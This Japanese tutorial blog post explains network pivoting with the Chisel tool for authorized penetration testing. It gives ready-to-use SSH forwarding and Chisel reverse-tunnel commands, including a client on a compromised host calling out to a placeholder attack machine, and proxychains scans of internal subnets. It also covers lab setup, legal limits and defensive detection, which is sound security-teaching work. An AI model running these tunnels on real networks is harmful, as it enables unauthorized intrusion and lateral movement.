ネットワーク内ピボット入門: Chiselの始め方

CyberLord Team

ネットワーク内ピボット入門: Chiselの始め方

ネットワークピボットは、承認されたペネトレーションテストにおいて最も重要かつ基本的な技術の一つです。ネットワーク内部のシステムに足がかりを確立した後、ピボットを使用することで、外部からの攻撃位置からは通常到達できない他のシステムにアクセスすることが可能になります。ピボットの概念とそれを実現するツールを理解することは、オフェンシブセキュリティのキャリアを目指す人や、実世界の攻撃者が企業環境をどのように移動するかを理解したい人にとって不可欠です。

このガイドでは、ピボットの核心概念、Chiselがツールセットの中でどのような位置づけにあるか、ラボ環境での実践的な使用方法、そしてこの作業を常に支配しなければならない倫理的および法的境界について解説します。

ネットワークピボットとは何か

ほとんどの企業ネットワークでは、インターネットから重要な内部システムへの直接的なパスは存在しません。ファイアウォール、VLAN、DMZ、ゼロトラストアーキテクチャなどのセグメンテーションコントロールは、攻撃者がインターネットに面したシステムを侵害したとしても、内部ネットワークを自由に移動できないように設計されています。

ピボットは、攻撃者と承認されたペネトレーションテスターが、初期に侵害したホストにアクセスした後でこれらのコントロールを迂回して移動するために使用する技術です。ピボットホスト(あなたの足がかり)は中継点として機能し、攻撃マシンからのトラフィックはそれを経由して、直接の外部公開がない内部ターゲットに到達します。

セキュリティテストにおける重要性

ピボットは、組織のセグメンテーション戦略の現実をテストします。多くの組織は、ネットワーク分離が内部システムを保護すると仮定しています。しかし、単一のインターネットに面したホストが侵害され、セグメンテーションが脆弱であれば、攻撃者は給与システム、ドメインコントローラー、データベースなど、外部の脅威にさらされることを意図していなかったシステムに到達することができます。

これを現実的にテストするには、ポストエクスプロイテーションのピボットをシミュレートする必要があります。これはまさに、承認されたレッドチームエンゲージメントで行われることです。

ピボット技術の種類

Chiselについて詳しく説明する前に、ピボット技術の全体像を理解すると役立ちます。

ポートフォワーディング(SSHトンネリング)

最も基本的な形式です。SSHを使用して、侵害されたホスト上の特定のポートを内部ターゲット上の特定のポートに転送します。単一のサービスへのワンオフアクセスに有用です(例:侵害されたサーバーを介して内部のWeb管理パネルにアクセス)。柔軟性に制限があり、事前に正確なターゲットとポートを知っている必要があります。

# 侵害されたホストを経由して内部ターゲットのポート80をローカルポート8080に転送
ssh -L 8080:internal-target:80 user@compromised-host

ダイナミックSOCKSプロキシ(SSH)

より柔軟なアプローチです。SSHはローカルマシン上にSOCKS5プロキシを作成します。プロキシを経由してルーティングされたトラフィックは、侵害されたホストを経由して任意の内部宛先に転送されます。Proxychainsのようなツールは、SOCKSプロキシと統合してツールトラフィックをピボット経由でルーティングします。

# 侵害されたホストを経由してローカルポート1080にSOCKS5プロキシを作成
ssh -D 1080 user@compromised-host

リバーストンネル

侵害されたホストが受信接続を受け付けることができない場合(厳格なアウトバウンド専用ファイアウォールの背後にある場合)、リバーストンネルは侵害されたホストに攻撃マシンへの接続を開始させ、そのアウトバウンド接続を経由してトラフィックを中継します。

VPNスタイルのピボット(Ligolo-ng)

Ligolo-ngのような現代のツールは、攻撃マシンから内部ネットワークへの完全なレイヤー3トンネルを作成し、内部サブネットが攻撃マシンに直接ルーティングされているかのように見せます。これは最も柔軟なアプローチであり、SOCKSプロキシチェーンよりも複雑なエンゲージメントでますます好まれています。

Chiselの位置づけ

Chiselは、非HTTPトラフィックをブロックするファイアウォールを迂回する信頼性の高いピボットチャンネルを作成するHTTP/HTTPSトンネリングツールです。クライアント/サーバーアーキテクチャとして動作します。

  • Chiselサーバー:攻撃マシン(またはクラウドホストのリレー)で実行され、着信接続を待ち受けます。
  • Chiselクライアント:ターゲットネットワーク内部の侵害されたホストで実行され、Chiselサーバーにアウトバウンドで接続します。

Chiselは標準的なHTTP/HTTPSトラフィックを使用するため、非標準ポートでの直接TCPトンネルやリバースシェル接続をブロックするほとんどのアウトバウンドWebフィルタリングルールを迂回します。これにより、厳格なエグレスフィルタリング環境で特に価値があります。

Chiselでテストされるもの

承認されたエンゲージメントでは、Chiselは特定のセキュリティ質問に答えるのに役立ちます。

  • エグレスフィルタリングの有効性:侵害された内部ホストからのアウトバウンドHTTPS接続は外部サーバーに到達できますか?到達できる場合、そのホストからのデータ流出はおそらく実現可能です。
  • 内部サービスの公開:ピボットが確立された後、外部からネットワーク内部のWeb管理インターフェース、データベースポート、APIエンドポイントに到達できますか?これにより、同じ足がかりを持つ攻撃者がアクセスできるものが明らかになります。
  • セグメンテーション境界:侵害されたホストがアクセスすべきでないセグメントへのネットワークアクセスを持っていますか(例:DMZのWebサーバーが内部ネットワークのドメインコントローラーに到達できるか)?
  • 検出能力:HTTPSトンネルはIDS/IPSアラート、SIEMルール、またはEDR検出をトリガーしますか?アラートがないこと自体が調査結果です。これは、組織がこの一般的な攻撃者の技術を検出できないことを意味します。

基本的なChiselのセットアップとコマンド

ChiselはLinux、Windows、macOS用の単一バイナリとして利用可能です。エンゲージメントでは、通常、適切なクライアントバイナリを侵害されたホストに転送します。

サーバーの起動(攻撃マシン)

# ポート8443でリバースモードでChiselサーバーを起動
./chisel server --reverse --port 8443

--reverseフラグは、サーバーにリモートポートフォワードを登録するクライアントからの着信接続を受け入れるよう指示します。

クライアントの起動(侵害されたホスト)

# Chiselサーバーに接続し、SOCKS5プロキシを通じてすべてのトラフィックを転送
./chisel client https://attack-machine:8443 R:socks

R:socks引数は、サーバー側にSOCKS5プロキシポート(デフォルト1080)を作成するようサーバーに指示します。そのSOCKS5プロキシを経由してルーティングされたすべてのトラフィックは、クライアントの視点から内部ネットワークにトンネルを通過します。

トンネルの使用(攻撃マシン)

SOCKS5プロキシが稼働したら、Proxychainsを使用してツールトラフィックを経由させます。

# Chisel SOCKS5プロキシを経由して内部サブネットをスキャン
proxychains nmap -sT -Pn 10.10.10.0/24

# トンネルを経由して内部Webサービスにアクセス
proxychains curl http://internal-admin-panel/

直接ポートフォワーディング(SOCKSなし)

特定の内部ポートにアクセスする必要がある場合は、完全なプロキシではなく以下を使用します。

# 侵害されたホストを経由して攻撃マシンのポート3389を内部RDPサーバーに転送
./chisel client https://attack-machine:8443 R:3389:internal-target:3389

これにより、攻撃マシンのlocalhost:3389で内部RDPサービスが利用可能になります。

安全なラボ環境のセットアップ

**自分が所有していない、またはテストの明示的な書面による許可を得ていないネットワークでピボット技術を練習しないでください。**スキルを安全に構築する最も効果的な方法は、分離されたラボ環境です。

オプション1:ローカルVMラボ

マルチマシンの仮想ネットワークを構築します。

  • 攻撃マシン:Kali LinuxまたはParrot OS
  • 侵害されたホスト(ピボット):制限されたアウトバウンドルールを持つLinuxまたはWindows VM
  • 内部ターゲット:攻撃マシンが直接到達できない別の仮想ネットワーク上のVM

VMware WorkstationやVirtualBoxのようなツールは、複数の仮想ネットワークをサポートし、実際のハードウェアなしに現実的なセグメント化環境をシミュレートできます。

オプション2:HackTheBoxとTryHackMe

両方のプラットフォームは、ピボットが意図された課題であるマシンネットワークを提供します。HackTheBox Pro Labs(Offshore、RastaLabs、Cybernetics)は、現実的な企業ネットワークシミュレーションでマルチホップピボット練習のために特別に設計されています。これらは合法的で安全であり、スキル開発のために設計されています。

オプション3:脆弱性設計ラボネットワーク

GOAD(Game of Active Directory)やProxmoxベースのホームラボ構築のようなプロジェクトは、ピボット、横方向の移動、ドメイン侵害を含む完全なキルチェーン攻撃を練習するための複数のサブネットを持つ現実的なActive Directory環境を提供します。

実際のエンゲージメントでの調査結果の例

ピボットが承認された評価でセキュリティ問題を明らかにした場合、調査結果は通常、いくつかのカテゴリに分類されます。

脆弱なセグメンテーション(重大)

侵害されたDMZホストからドメインコントローラー、データベースサーバー、または人事システムに到達できる場合、セグメンテーションは失敗しています。調査結果には、侵害のソース、ピボットパス、到達した内部システム、アクセス可能なデータ、そして予想されるビジネス影響が文書化されます。

許容的なアウトバウンドフィルタリング(高)

内部ホストから任意の外部IPへのHTTPS接続が成功する場合、データ流出とコマンドアンドコントロール(C2)は実現可能です。推奨事項:プロキシ経由でアウトバウンドHTTPSを承認された宛先に制限し、TLSインスペクションで暗号化トラフィックを検査し、エグレス異常をログに記録します。

トンネルアクティビティの検出なし(中〜高)

エンゲージメントの間、トンネルがSIEMアラートまたはEDRイベントをトリガーせずに実行された場合、ブルーチームには検出ギャップがあります。推奨事項は、内部ホストからの異常なHTTPS永続接続と未分類の宛先へのトラフィックを監視する動作ルールを実装することです。

防御的な教訓

Chiselベースのピボットの仕組みを理解することで、特定の防御コントロールが知られます。

  • アウトバウンドプロキシの強制:すべてのアウトバウンドHTTP/HTTPSをWebプロキシ(Zscaler、Bluecoat、TLSインスペクション付きSquid)経由でルーティングします。これにより、カテゴリフィルタリング、コンテンツ検査、C2トンネルを可視化するログが可能になります。
  • 適切なセグメンテーションとそのテスト:DMZ、ユーザーネットワーク、サーバーセグメント間にVLANとファイアウォールルールを展開します。次に、承認されたテストを通じて期待どおりに機能することを確認します。多くの組織は、紙の上ではルールを持っていますが、実際には適用されていません。
  • 異常な永続性の監視:クライアントが外部IPへの持続的なHTTPS接続を時間単位で行うことは異常です。SIEMまたはNDRプラットフォームの動作ルールでこれをフラグする必要があります。
  • エンドポイントエグレスの強化:可能な場合、アプリケーションコントロールポリシー(Windows Defender Application Control、AppLocker、または商用EDR)を使用して、どのプロセスがアウトバウンドネットワーク接続を行えるかを制限します。

倫理と法的枠組み

ピボット技術は本質的に二重使用です。ペネトレーションテスターがセグメンテーションを検証するのに役立つ同じツールが、攻撃者がネットワークを移動するために使用される可能性があります。実際のネットワークでChiselを使用する唯一の倫理的かつ合法的な使用は、明示的な書面による承認の下でのみです。

  • ソースIP/システム、許可されたピボットパス、許可されたツールを含む署名済みのSOW
  • テストの定義された期間
  • 予期しない事象が発生した場合にテストを停止するためのコミュニケーションプロトコル(「キルスイッチ」合意)
  • クライアントと定義されたログ記録および変更管理の期待

この枠組みなしで、自分が個人的に所有していないネットワークでChiselを実行することは、米国のコンピュータ詐欺および乱用法、英国のコンピュータ乱用法、および世界中の同等の法律の違反です。意図(「学習していた」、「自分の会社をテストしていた」)は、文書化された承認の代わりにはなりません。

まとめ

  • ネットワークピボットは、侵害されたホストを経由してトラフィックをルーティングし、そうでなければ到達できない内部システムに到達し、ポストコンプロマイズの実際の攻撃者の行動をシミュレートします。
  • Chiselはエグレスフィルタリングを迂回するHTTP/HTTPSトンネルを作成し、厳格なアウトバウンドファイアウォールルールを持つ環境で価値があります。
  • 承認されたエンゲージメントでは、Chiselベースのピボットはセグメンテーションの有効性、エグレスフィルタリング、および組織がトンネルベースのC2アクティビティを検出する能力をテストします。
  • 安全な練習には、分離されたラボ環境、HackTheBoxのような目的構築プラットフォーム、または明示的に承認されたテスト環境が必要です。
  • 実際のネットワークでのピボットのすべての使用には署名済みの承認文書が必要です。それなしでは、意図に関係なく活動は違法です。

よくある質問

ChiselとSSHトンネリングの違いは何ですか? SSHトンネリングは、しばしば制限されたり検出可能なピボットホストへのSSHアクセスを必要とします。ChiselはHTTP/HTTPSを使用し、これはほぼ常にアウトバウンドで許可され、正当なWebトラフィックと混ざります。Chiselはまた単一のバイナリであり、エンゲージメント中に侵害されたホストへの展開が容易です。

ChiselはLigolo-ngと同じですか? 両方ともピボットツールですが、Ligolo-ngはTUNインターフェースを作成し、攻撃マシン上で内部サブネットが直接ルーティングされたネットワークのように見せます。ChiselはSOCKSプロキシまたはポートフォワードトンネルを作成します。Ligolo-ngは一般的に複雑なマルチサブネットシナリオでより便利です。Chiselはターゲットを絞ったポートフォワーディングでよりシンプルです。

どの認定がネットワークピボットを教えていますか? OSCP(Offensive Security Certified Professional)試験にはマルチホップピボットシナリオが含まれます。PNPT(Practical Network Penetration Tester)、eJPT、eCPPTも、さまざまな深さでピボットをカバーしています。HackTheBox Pro Labs(Offshore、RastaLabs)は、シングルマシンの課題を超えた現実的な練習に優れています。

防御者はChiselトンネルをどのように検出しますか? インジケータには以下が含まれます。内部ホストから異常な外部IPへの持続的なHTTPS接続、EDRによって検出された予期しないアウトバウンド接続を行うプロセス、正当な外部接続の理由を持たないホストからの異常なデータ量、動的に生成されたドメインへのDNSクエリ。プロキシ層でのTLSインスペクションが最も信頼性の高い検出ポイントです。

関連リソース